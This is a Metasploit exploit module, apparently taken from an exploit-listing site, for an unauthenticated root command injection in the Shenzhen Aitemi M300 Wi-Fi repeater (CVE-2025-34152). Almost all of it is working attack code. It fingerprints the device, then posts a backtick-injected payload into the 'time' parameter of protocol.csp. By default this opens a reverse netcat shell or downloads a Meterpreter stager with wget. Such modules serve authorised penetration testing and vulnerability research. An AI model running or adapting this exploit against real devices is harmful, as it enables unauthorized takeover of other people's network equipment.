Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-AITEMI_M300_TIME_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)',
        'Description' => %q{
          This module exploits an unauthenticated remote command injection vulnerability
          in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability
          lies in the 'time' parameter of the time configuration endpoint, which is passed
          unsanitized to a shell command executed via the `date -s` mechanism. The injection
          executes with root privileges, without requiring authentication, reboot, or
          network reconfiguration.
        },
        'Author' => [
          'Valentin Lobstein' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'],
          ['CVE', '2025-34152']
        ],
        'Platform' => %w[linux unix],
        'Payload' => {
          'BadChars' => "\x60"
        },
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ],
          [
            'Linux Meterpreter MIPSBE (MAY crash HTTP worker)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_CMD, ARCH_MIPSBE],
              'DefaultOptions' => {
                'FETCH_DELETE' => true,
                'FETCH_COMMAND' => 'WGET',
                'FETCH_WRITABLE_DIR' => '/tmp',
                'PAYLOAD' => 'cmd/linux/http/mipsbe/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'DisclosureDate' => '2025-08-07',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    fingerprint_hits = []

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'favicon.ico')
    )

    return CheckCode::Unknown('No response from target') unless res
    return CheckCode::Safe('favicon.ico not found') unless res.code == 200

    hash = Digest::SHA256.hexdigest(res.body)
    if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee'
      print_good('Favicon hash matched โ€“ likely Aitemi M300 device')
      fingerprint_hits << 'favicon'
    end

    server_header = res.headers['Server']
    if server_header&.start_with?('lighttpd/1.4.32')
      print_good("HTTP server version matched: #{server_header}")
      fingerprint_hits << 'httpd'
    end

    %w[index.html home.html].each do |page|
      res_html = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, page)
      )

      next unless res_html&.code == 200

      if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)')
        print_good("HTML fingerprint matched in #{page} โ€“ UI strings detected")
        return CheckCode::Appears('HTML language markers confirmed')
      end
    end

    if fingerprint_hits.any?
      return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}")
    end

    CheckCode::Unknown('No identifiable fingerprint found')
  end

  def exploit
    raw_payload = "`#{payload.encoded}`"
    encoded_payload = CGI.escape(raw_payload).gsub('+', '%20')

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),
      'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
      'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"
    )
  end
end